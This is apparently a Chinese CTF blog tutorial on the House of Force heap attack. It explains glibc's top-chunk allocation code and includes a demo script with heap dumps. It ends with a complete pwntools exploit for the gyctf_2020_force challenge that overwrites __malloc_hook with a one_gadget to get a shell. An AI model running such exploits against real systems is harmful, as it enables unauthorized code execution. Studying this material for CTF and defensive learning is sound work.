house_of_force

文章发布时间:

最后更新时间:

house_of_force
house of force的攻击原理是尝试从heap中分配一个非常大的内存,使得可以将chunk分配在高地址的libc中或者进一步让其溢出分配到低地址上的用户代码段中。

用户申请一个chunk后
系统先判断bin中是否有符合大小的chunk 如果没有再去top chunk分配

top chunk的分配办法是在top chunk顶部分配出一个空间 随后top chunk的位置向高地址处增加
先看看chunk申请的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
victim = av->top;//获取当前top chunk的地址
size = chunksize (victim);//获取当前top chunk的大小

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
//MINSIZE就是堆块的最小size,32位程序为0x10,64位程序为0x20
//nb为实际要获取的chunk大小(申请的大小加上MINSIZE)
//判断式是为了保证top chunk有足够大小的空间来供此次申请
//之所以要加上MINSIZE是因为为了确保申请完chunk后 top chunk还能保持完整的chunk结构
{
remainder_size = size - nb; //remainder_size为分配chunk后的top chunk大小
remainder = chunk_at_offset (victim, nb);//remainder为分配完后的top chunk地址
av->top = remainder; //更新top chunk
//下面两个set_head给分配出去的堆块以及分配后的top chunk设置新的size
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

要实现house of force攻击,我们需要两点,一是修改Top chunk size为非常大的数,方便我们可以进行任意大的内存分配;二是分配大内存后,Top chunk剩余size必须大于:X(我们想要在目标地址分配的chunk大小,包括头部信息)+ MINSIZE(大小为0x20),这样才能让我们在目标地址处进一步分配X大小的chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import*
p = process("./2heap")
elf = ELF("./2heap")
#libc = ELF("./libc-2.23.so")
context(os='linux', arch='amd64', log_level='debug')

def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(size,payload):
p.recvuntil(">")
p.sendline(b'1')
p.recvuntil(b"You can customize the size of house here, but what about your life")
p.sendline(str(size))
p.recvuntil(b"add something to your house\n")
p.send(payload)


def delete(index):
p.recvuntil(">")
p.sendline(b'2')
p.recvuntil(b'every decision you made is meaningful')
p.sendline(str(index))

def edit(index,size,payload):
p.recvuntil(">")
p.sendline(b'3')
p.recvuntil(b"It's never too late to make changes")
p.sendline(str(index))
p.recvuntil(b"something interesting here")
p.sendline(str(size))
p.sendlineafter(b"Now add something",payload)

def show(index):
p.recvuntil(">")
p.sendline(b'4')
p.recvuntil(b"Let's see what you can do")
p.sendline(str(index))


add(0x20,b'0xcafe66')#chunk0
add(0x30,b'aaaa')#chunk1
payload = cyclic(0x38)+p64(0xffffffffffffffff)
debug()
edit(1,len(payload),payload)#attack
pause()
add(0x40,b'aaaa')#chunk3

攻只因前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1bc1000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x1bc1290
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x1bc12c0
Size: 0x41

Top chunk | PREV_INUSE
Addr: 0x1bc1300
Size: 0x20d01

攻只因后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1bc1000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x1bc1290
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x1bc12c0
Size: 0x41

Top chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x1bc1300
Size: 0xffffffffffffffff

pwndbg> x/40gx 0x1bc1300
0x1bc1300: 0x6161616e6161616d 0xffffffffffffffff
0x1bc1310: 0x000000000000000a 0x0000000000000000
0x1bc1320: 0x0000000000000000 0x0000000000000000
0x1bc1330: 0x0000000000000000 0x0000000000000000
0x1bc1340: 0x0000000000000000 0x0000000000000000
0x1bc1350: 0x0000000000000000 0x0000000000000000
0x1bc1360: 0x0000000000000000 0x0000000000000000
0x1bc1370: 0x0000000000000000 0x0000000000000000
0x1bc1380: 0x0000000000000000 0x0000000000000000
0x1bc1390: 0x0000000000000000 0x0000000000000000
0x1bc13a0: 0x0000000000000000 0x0000000000000000
0x1bc13b0: 0x0000000000000000 0x0000000000000000
0x1bc13c0: 0x0000000000000000 0x0000000000000000
0x1bc13d0: 0x0000000000000000 0x0000000000000000
0x1bc13e0: 0x0000000000000000 0x0000000000000000
0x1bc13f0: 0x0000000000000000 0x0000000000000000
0x1bc1400: 0x0000000000000000 0x0000000000000000
0x1bc1410: 0x0000000000000000 0x0000000000000000
0x1bc1420: 0x0000000000000000 0x0000000000000000
0x1bc1430: 0x0000000000000000 0x0000000000000000

可以看到这个topchunk的size已被篡改

下面放道题,看看该技术如何利用
gyctf_2020_force
checksec

1
2
3
4
5
6
[*] '/var/run/vmblock-fuse/blockdir/Zf5bfF/force'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

看看add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 sub_A20()
{
const void **i; // [rsp+0h] [rbp-120h]
__int64 size; // [rsp+8h] [rbp-118h]
char s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(s, 255, sizeof(s));
for ( i = (const void **)&unk_202080; *i; ++i )
;
if ( (char *)i - (char *)&unk_202080 > 39 )
exit(0);
puts("size");
read(0, nptr, 0xFuLL);
size = atol(nptr);
*i = malloc(size); //没有限制chunk_size
if ( !*i )
exit(0);
printf("bin addr %p\n", *i);//会打印堆地址
puts("content");
read(0, (void *)*i, 0x50uLL);//存在堆溢出,当申请的chunk_size < 0x50时
puts("done");
return __readfsqword(0x28u) ^ v4;
}

one_gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

先打house_of_force,拿捏top_chunk
同时,在分配第一个chunk时,程序还会打印出bin_addr,可以利用此泄露libc_addr

__realloc_hook 和 __malloc_hook这两个钩子函数是相邻的,我们可以利用同一个chunk来劫持__malloc_hook为realloc+0x10,并劫持__realloc_hook为one_gadget

再次执行malloc即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
#p = process('./force')
p = remote('node4.buuoj.cn',27065)
libc = ELF("buu_libc-2.23.so")
context(os='linux', arch='amd64', log_level='debug')

def debug():
gdb.attach(p)
pause()

def add(size, content):
p.recvuntil("2:puts\n")
p.sendline("1")
p.recvuntil("size\n")
p.sendline(str(size))
p.recvuntil(b"bin addr ")
info = p.recvuntil("\n", drop=True)
# print(info)
info = int(info.decode("ISO-8859-1"), 16)
p.recvuntil("content\n")
p.send(content)
return info

one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

libc.address = add(0x200000, 'chunk0\n') + 0x200ff0 #gdb找偏移,leak_libc_base && house_of_force拿捏topchunk
success('libc_base'+hex(libc.address))

heap_addr = add(0x18,b'a'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF)) #leak_heap_addr &&修改topchunk的size为0xFFFFFFFFFFFFFFFF
success("heap_addr:"+hex(heap_addr))
top = heap_addr + 0x10 #leak_topchunk_addr

malloc_hook = libc.sym['__malloc_hook'] #get_malloc_hook_addr
success("malloc_hook:"+hex(malloc_hook))

realloc = libc.sym["__libc_realloc"]
offset = malloc_hook - top
system = libc.sym['system']
bin_sh = libc.search(b'/bin/sh')

success("system:" + hex(system))
success("bin_sh:" + str(bin_sh))

#debug()

#one_gadget + libc.address -> 计算偏移,使topchunk落在malloc_hook处
#此时申请一个chunk,就可以实现修改malloc_hook和realloc_hook
add(offset-0x30,b'aaa\n')
add(0x30,b'a'*8+p64(one_gadget[1] + libc.address)+p64(realloc+0x10))#hijack_malloc_hook

#再次执行malloc,即可getshell
p.recvuntil("2:puts\n")
p.sendline('1')
p.recvuntil("size\n")
p.sendline(str(20))

p.interactive()